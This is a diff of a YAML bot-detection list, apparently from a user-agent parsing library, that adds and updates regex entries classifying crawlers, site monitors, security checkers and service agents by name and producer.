regex: 'Adwords-(?:DisplayAds|Express|Instant)|Google Web Preview|Google[ -]Publisher[ -]Plugin|Google-(?:Ads-Conversions|Ads-Qualify|Adwords|AMPHTML|Assess|Extended|HotelAdsVerifier|InspectionTool|PageRenderer|Read-Aloud|Safety|Shopping-Quality|Site-Verification|speakr|Stale-Content-Probe|Test|Youtube-Links)|(?:AdsBot|APIs|DuplexWeb|Feedfetcher|Mediapartners)-Google(?:-Mobile)?|Google(?:AdSenseInfeed|AssociationService|bot|Other|Prober|Producer)|Google.*/\+/web/snippet' +- regex: 'Googlebot-News' + name: 'Googlebot News' + category: 'Search bot' + url: 'https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers' + producer: + name: 'Google Inc.' + url: 'https://www.google.com/' + +- regex: 'Adwords-(?:DisplayAds|Express|Instant)|Google Web Preview|Google[ -]Publisher[ -]Plugin|Google-(?:Ads-Conversions|Ads-Qualify|Adwords|AMPHTML|Assess|Extended|HotelAdsVerifier|InspectionTool|Lens|PageRenderer|Read-Aloud|Safety|Shopping-Quality|Site-Verification|speakr|Stale-Content-Probe|Test|Youtube-Links)|(?:AdsBot|APIs|DuplexWeb|Feedfetcher|Mediapartners)-Google(?:-Mobile)?|Google(?:AdSenseInfeed|AssociationService|bot|Other|Prober|Producer)|Google.*/\+/web/snippet' name: 'Googlebot' category: 'Search bot' url: 'https://developers.google.com/search/docs/crawling-indexing/overview-google-crawlers' @@ -784,6 +797,14 @@ name: 'Google Inc.' url: 'https://www.google.com/' +- regex: 'Google-Area120-PrivacyPolicyFetcher' + name: 'Google Area 120 Privacy Policy Fetcher' + category: 'Crawler' + url: 'https://area120.google.com/' + producer: + name: 'Google Inc.' + url: 'https://www.google.com/' + - regex: 'heritrix' name: 'Heritrix' category: 'Crawler' @@ -1314,12 +1335,36 @@ url: '' - regex: 'SemrushBot' - name: 'Semrush Bot' + name: 'SemrushBot' category: 'Crawler' - url: 'http://www.semrush.com/bot.html' + url: 'https://www.semrush.com/bot/' producer: - name: 'SEMrush' - url: 'http://www.semrush.com' + name: 'Semrush Inc.' + url: 'https://www.semrush.com/' + +- regex: 'SerpReputationManagementAgent/[\d.]+' + name: 'Semrush Reputation Management' + category: 'Service Agent' + url: 'https://www.semrush.com/bot/' + producer: + name: 'Semrush Inc.' + url: 'https://www.semrush.com/' + +- regex: 'SplitSignalBot' + name: 'SplitSignalBot' + category: 'Crawler' + url: 'https://www.semrush.com/bot/' + producer: + name: 'Semrush Inc.' + url: 'https://www.semrush.com/' + +- regex: 'SiteAuditBot/[\d.]+' + name: 'SiteAuditBot' + category: 'Crawler' + url: 'https://www.semrush.com/bot/' + producer: + name: 'Semrush Inc.' + url: 'https://www.semrush.com/' - regex: 'SensikaBot' name: 'Sensika Bot' @@ -1565,7 +1610,7 @@ category: 'Feed Reader' url: 'https://theoldreader.com' -- regex: 'Trackable/0.1' +- regex: 'Trackable/0\.1' name: 'Chartable' category: 'Site Monitor' url: 'https://help.chartable.com/article/34-what-is-the-trackable-analytics-prefix' @@ -1589,13 +1634,13 @@ name: 'iParadigms, LLC.' url: 'http://www.turnitin.com' -- regex: 'TweetedTimes Bot' +- regex: 'TweetedTimes' name: 'TweetedTimes Bot' category: 'Crawler' - url: 'http://tweetedtimes.com' + url: 'https://tweetedtimes.com/' producer: name: 'TweetedTimes' - url: 'http://tweetedtimes.com/' + url: 'https://tweetedtimes.com/' - regex: 'TweetmemeBot' name: 'Tweetmeme Bot' @@ -1645,12 +1690,12 @@ url: 'https://uptime.com' - regex: 'UptimeRobot' - name: 'Uptime Robot' + name: 'UptimeRobot' category: 'Site Monitor' - url: '' + url: 'https://uptimerobot.com/' producer: name: 'Uptime Robot' - url: 'http://uptimerobot.com' + url: 'https://uptimerobot.com/' - regex: 'URLAppendBot' name: 'URLAppendBot' @@ -1880,7 +1925,23 @@ name: 'Yahoo! Japan Corp.' url: 'https://www.yahoo.co.jp/' -- regex: 'Yandex(?:(?:\.Gazeta |Accessibility|Mobile|MobileScreenShot|RenderResources|Screenshot|Sprav)?Bot|(?:AdNet|Antivirus|Blogs|Calendar|Catalog|Direct|Favicons|ForDomain|ImageResizer|Images|Market|Media|Metrika|News|OntoDB(?:API)?|Pagechecker|Partner|RCA|SearchShop|(?:News|Site)links|Tracker|Turbo|Verticals|Vertis|Video|Webmaster))|YaDirectFetcher' +- regex: 'Y!J-ASR' + name: 'Yahoo! Japan ASR' + category: 'Crawler' + url: 'https://support.yahoo-net.jp/PccSearch/s/article/H000007955' + producer: + name: 'Yahoo! Japan Corp.' + url: 'https://www.yahoo.co.jp/' + +- regex: '^Y!J' + name: 'Yahoo! Japan' + category: 'Crawler' + url: 'https://support.yahoo-net.jp/PccSearch/s/article/H000007955' + producer: + name: 'Yahoo! Japan Corp.' + url: 'https://www.yahoo.co.jp/' + +- regex: 'Yandex(?:(?:\.Gazeta |Accessibility|Mobile|MobileScreenShot|RenderResources|Screenshot|Sprav)?Bot|(?:AdNet|Antivirus|Blogs|Calendar|Catalog|Direct|Favicons|ForDomain|ImageResizer|Images|Market|Media|Metrika|News|OntoDB(?:API)?|Pagechecker|Partner|RCA|SearchShop|(?:News|Site)links|Tracker|Turbo|Userproxy|Verticals|Vertis|Video|Webmaster))|YaDirectFetcher' name: 'Yandex Bot' category: 'Search bot' url: 'https://yandex.com/support/webmaster/robot-workings/check-yandex-robots.html' @@ -1978,7 +2039,7 @@ name: 'Pinterest' url: 'https://www.pinterest.com/' -- regex: 'Site24x7' +- regex: '.*Site24x7' name: 'Site24x7 Website Monitoring' category: 'Site Monitor' url: 'https://www.site24x7.com/site24x7-faq.html' @@ -1986,6 +2047,14 @@ name: 'Site24x7' url: 'https://www.site24x7.com' +- regex: '.* HLB/[\d.]+' + name: 'Site24x7 Defacement Monitor' + category: 'Site Monitor' + url: 'https://support.site24x7.com/portal/en/kb/articles/default-user-agent-used-in-website-defacement-monitor' + producer: + name: 'Site24x7' + url: 'https://www.site24x7.com/' + - regex: 's~snapchat-proxy' name: 'Snapchat Proxy' category: 'Crawler' @@ -2172,14 +2241,6 @@ name: 'Siteimprove GmbH' url: 'https://siteimprove.com/' -- regex: 'Image size by Siteimprove\.com' - name: 'Siteimprove' - category: 'Search bot' - url: 'https://siteimprove.com/' - producer: - name: 'Siteimprove GmbH' - url: 'https://siteimprove.com/' - - regex: 'CATExplorador' name: 'CATExplorador' category: 'Search bot' @@ -2544,8 +2605,16 @@ url: 'https://github.com/projectdiscovery/httpx' category: 'Crawler' producer: - name: '' - url: '' + name: 'ProjectDiscovery, Inc.' + url: 'https://projectdiscovery.io/' + +- regex: '.*\.oast\.' + name: 'Interactsh' + category: 'Security Checker' + url: 'https://github.com/projectdiscovery/interactsh' + producer: + name: 'ProjectDiscovery, Inc.' + url: 'https://projectdiscovery.io/' - regex: 'scaninfo@(?:expanseinc|paloaltonetworks)\.com' name: 'Expanse' @@ -3156,14 +3225,6 @@ name: 'Marc Huemer' url: 'https://www.netzzappen.com/' -- regex: 'SerpReputationManagementAgent/[\d.]+' - name: 'SEMrush Reputation Management' - category: 'Service Agent' - url: 'https://www.semrush.com/bot/' - producer: - name: 'SEMrush' - url: 'https://www.semrush.com/' - - regex: 'panscient\.com' name: 'Panscient' category: 'Crawler' @@ -3220,7 +3281,7 @@ name: 'New Work SE' url: 'https://www.xing.com/' -- regex: 'RepoLookoutBot/[\d.]+' +- regex: 'RepoLookoutBot/v?[\d.]+' name: 'Repo Lookout' category: 'Security Checker' url: 'https://www.repo-lookout.org/' @@ -3492,14 +3553,6 @@ name: 'Lumar' url: 'https://www.lumar.io/' -- regex: 'RepoLookoutBot' - name: 'Repo Lookout' - category: 'Crawler' - url: 'https://www.repo-lookout.org/' - producer: - name: 'Crissy Field GmbH' - url: 'https://www.crissyfield.de/' - - regex: 'researchscan\.comsys\.rwth-aachen\.de' name: 'Research Scan' category: 'Crawler' @@ -3994,9 +4047,279 @@ name: 'EMDASH SAS' url: 'https://www.fontradar.com/' -# Generic detections -- regex: 'nuhk|grub-client|Download Demon|SearchExpress|Microsoft URL Control|borg|altavista|dataminr\.com|tweetedtimes\.com|teoma|oegp|http%20client|htdig|mogimogi|larbin|scrubby|searchsight|semanticdiscovery|snappy|vortex(?!(?: Build|Plus))|zeal(?!ot)|dataparksearch|findlinks|BrowserMob|URL2PNG|ZooShot|GomezA|Google SketchUp|Read%20Later|7Siters|centuryb\.o\.t9|InterNaetBoten|EasyBib AutoCite|Bidtellect|tomnomnom/meg|cortex|Re-re Studio|adreview|AHC/|NameOfAgent|Request-Promise|ALittle Client|Hello,? world|wp_is_mobile|0xAbyssalDoesntExist|Anarchy99|daumoa,damoa,daum,daumos,duamoa,duam,duamos|^revolt|nvd0rz|xfa1|Hakai|gbrmss|fuck-your-hp|IDBTE4M CODE87|Antoine|Insomania|Hells-Net|b3astmode|Linux Gnu \(cow\)|Test Certificate Info|iplabel|Magellan|TheSafex?Internetx?Search|kirkland-signature|^xenu|^ZmEu|^(?:chrome|firefox|Zeus)$' +- regex: 'ViberUrlDownloader' + name: 'Viber Url Downloader' + category: 'Service Agent' + url: 'https://www.viber.com/' + producer: + name: 'Viber Media S.à r.l.' + url: 'https://www.viber.com/' + +- regex: '^Zeno$' + name: 'Zeno' + category: 'Crawler' + url: 'https://github.com/internetarchive/Zeno' + producer: + name: 'The Internet Archive' + url: 'https://archive.org/' + +- regex: 'Barracuda Sentinel' + name: 'Barracuda Sentinel' + category: 'Service Agent' + url: 'https://sentinel.barracudanetworks.com/' + producer: + name: 'Barracuda Networks, Inc.' + url: 'https://www.barracudanetworks.com/' + +- regex: 'RuxitSynthetic/[\d.]+' + name: 'RuxitSynthetic' + category: 'Site Monitor' + url: 'https://community.dynatrace.com/t5/Troubleshooting/Basic-Commands-for-Synthetic/ta-p/198164' + producer: + name: 'Dynatrace LLC' + url: 'https://www.dynatrace.com/' + +- regex: 'DynatraceSynthetic/[\d.]+' + name: 'DynatraceSynthetic' + category: 'Site Monitor' + url: 'https://community.dynatrace.com/t5/Troubleshooting/Basic-Commands-for-Synthetic/ta-p/198164' + producer: + name: 'Dynatrace LLC' + url: 'https://www.dynatrace.com/' + +- regex: 'sitebulb' + name: 'Sitebulb' + category: 'Crawler' + url: 'https://sitebulb.com/' + producer: + name: 'Sitebulb Limited' + url: 'https://sitebulb.com/' + +- regex: 'Monsidobot/[\d.]+' + name: 'Monsidobot' + category: 'Crawler' + url: 'https://monsido.com/bot-html' + producer: + name: 'Monsido LLC' + url: 'https://monsido.com/' + +- regex: 'AccompanyBot' + name: 'AccompanyBot' + category: 'Crawler' + url: 'https://www.accompany.com/' + producer: + name: 'Accompani, Inc' + url: 'https://www.accompany.com/' + +- regex: 'Ghost Inspector' + name: 'Ghost Inspector' + category: 'Site Monitor' + url: 'https://docs.ghostinspector.com/faq/#how-do-i-detect-ghost-inspector-test-runner-traffic-on-my-site' + producer: + name: 'Ghost Inspector, Inc.' + url: 'https://www.ghostinspector.com/' + +- regex: 'Cypress/[\d.]+' + name: 'Cypress' + category: 'Site Monitor' + url: 'https://github.com/cypress-io/cypress' + producer: + name: 'Cypress.io, Inc.' + url: 'https://www.cypress.io/' + +- regex: 'Google-Apps-Script' + name: 'Google Apps Script' + category: 'Service Agent' + url: 'https://www.google.com/script/start/' + +- regex: 'SiteOne-Crawler/[\d.]+' + name: 'SiteOne Crawler' + category: 'Crawler' + url: 'https://crawler.siteone.io/bot/' + producer: + name: 'SiteOne s.r.o.' + url: 'https://www.siteone.io/' + +- regex: 'Detectify' + name: 'Detectify' + category: 'Security Checker' + url: 'https://support.detectify.com/support/solutions/articles/48001049001-how-to-allow-detectify-to-access-your-site' + producer: + name: 'Detectify AB' + url: 'https://detectify.com/' + +- regex: 'DomCopBot' + name: 'DomCop Bot' + category: 'Crawler' + url: 'https://www.domcop.com/bot' + producer: + name: 'Axeman Technology Solutions LLP' + url: 'https://axemantech.com/' + +- regex: 'Paqlebot/[\d.]+' + name: 'Paqlebot' + category: 'Crawler' + url: 'https://www.paqle.dk/about/paqlebot' + producer: + name: 'Paqle A/S' + url: 'https://www.paqle.dk/' + +- regex: 'Wibybot' + name: 'Wibybot' + category: 'Crawler' + url: 'https://www.wiby.me/' + +- regex: 'Synapse' + name: 'Synapse' + category: 'Crawler' + url: 'https://github.com/matrix-org/synapse' + +- regex: 'OSZKbot/[\d.]+' + name: 'OSZKbot' + category: 'Crawler' + url: 'http://mekosztaly.oszk.hu/mia/' + producer: + name: 'National Szechenyi Library' + url: 'https://webarchivum.oszk.hu/' + +- regex: 'ZoomBot' + name: 'ZoomBot' + category: 'Crawler' + url: 'https://suite.seozoom.it/bot.html' + producer: + name: 'SEO Cube S.r.l.' + url: 'https://www.seocube.it/' + +- regex: 'RavenCrawler/[\d.]+' + name: 'RavenCrawler' + category: 'Crawler' + url: 'https://raventools.com/site-auditor/' + producer: + name: 'TapClicks, Inc.' + url: 'https://www.tapclicks.com/' + +- regex: 'KadoBot' + name: 'KadoBot' + category: 'Crawler' + url: 'https://www.kadolijst.nl/bot' + producer: + name: 'Kadolijst' + url: 'https://www.kadolijst.nl/' + +- regex: 'Dubbotbot/[\d.]+' + name: 'Dubbotbot' + category: 'Crawler' + url: 'https://help.dubbot.com/en/articles/6746594-example-custom-user-agent' + producer: + name: 'DubBot' + url: 'https://dubbot.com/' + +- regex: 'Swiftbot/[\d.]+' + name: 'Swiftbot' + category: 'Crawler' + url: 'https://swiftype.com/swiftbot' + producer: + name: 'Elasticsearch, B.V.' + url: 'https://www.elastic.co/' + +- regex: 'EyeMonIT' + name: 'EyeMonit' + category: 'Site Monitor' + url: 'https://eyemonit.com/' + producer: + name: 'EyeMonit' + url: 'https://eyemonit.com/' + +- regex: 'ThousandEyes' + name: 'ThousandEyes' + category: 'Site Monitor' + url: 'https://www.thousandeyes.com/' + producer: + name: 'Cisco Systems, Inc.' + url: 'https://www.cisco.com/' + +- regex: 'OmtrBot/[\d.]+' + name: 'OmtrBot' + category: 'Site Monitor' + +- regex: 'WebMon/[\d.]+' + name: 'WebMon' + category: 'Site Monitor' + +- regex: 'AdsTxtCrawlerTP/[\d.]+' + name: 'AdsTxtCrawlerTP' + category: 'Crawler' + +- regex: 'fragFINN' + name: 'fragFINN' + category: 'Crawler' + url: 'https://www.fragfinn.de/' + producer: + name: 'fragFINN e.V.' + url: 'https://www.fragfinn.de/' + +- regex: 'Clickagy' + name: 'Clickagy' + category: 'Crawler' + url: 'https://www.clickagy.com/' + producer: + name: 'Clickagy, LLC' + url: 'https://www.clickagy.com/' + +- regex: 'kiwitcms-gitops/[\d.]+' + name: 'Kiwi TCMS GitOps' + category: 'Service Agent' + url: 'https://kiwitcms.org' + producer: + name: 'Open Technologies Bulgaria, Ltd.' + url: 'https://kiwitcms.org' + +- regex: 'webtru_crawler' + name: 'webtru' + category: 'Crawler' + url: 'https://webtru.io/' + producer: + name: 'DataSign Inc.' + url: 'https://datasign.jp/' + +- regex: 'URLSuMaBot' + name: 'URLSuMaBot' + category: 'Crawler' + url: 'https://www.urlsuma.de/' + +- regex: '360JK yunjiankong' + name: '360JK' + category: 'Site Monitor' + url: 'http://jk.cloud.360.cn/' + producer: + name: '360 Security Technology Inc.' + url: 'https://www.360.cn/' + +- regex: 'UCSBNetworkMeasurement' + name: 'UCSB Network Measurement' + category: 'Crawler' + url: 'https://www.it.ucsb.edu/' + producer: + name: 'University of California, Santa Barbara' + url: 'https://www.it.ucsb.edu/' + +- regex: 'Plesk screenshot bot' + name: 'Plesk Screenshot Service' + category: 'Service Agent' + url: 'https://support.plesk.com/hc/en-us/articles/13302778306199-What-is-Plesk-Screenshot-Service' + producer: + name: 'Plesk International GmbH' + url: 'https://www.plesk.com/' + +- regex: 'Who\.is' + name: 'Who.is Bot' + category: 'Crawler' + url: 'https://who.is/' + +# Generic bots +- regex: 'nuhk|grub-client|Download Demon|SearchExpress|Microsoft URL Control|borg|altavista|dataminr\.com|teoma|oegp|http%20client|htdig|mogimogi|larbin|scrubby|searchsight|semanticdiscovery|snappy|vortex(?!(?: Build|Plus))|zeal(?!ot)|dataparksearch|findlinks|BrowserMob|URL2PNG|ZooShot|GomezA|Google SketchUp|Read%20Later|7Siters|centuryb\.o\.t9|InterNaetBoten|EasyBib AutoCite|Bidtellect|tomnomnom/meg|cortex|Re-re Studio|adreview|AHC/|NameOfAgent|Request-Promise|ALittle Client|Hello,? world|wp_is_mobile|0xAbyssalDoesntExist|Anarchy99|^revolt|nvd0rz|xfa1|Hakai|gbrmss|fuck-your-hp|IDBTE4M CODE87|Antoine|Insomania|Hells-Net|b3astmode|Linux Gnu \(cow\)|Test Certificate Info|iplabel|Magellan|TheSafex?Internetx?Search|Searcherweb|kirkland-signature|LinkChain|survey-security-dot-txt|^xenu|^ZmEu|^(?:chrome|firefox|Zeus)$' name: 'Generic Bot' -- regex: '[a-z0-9_-]*(?:(?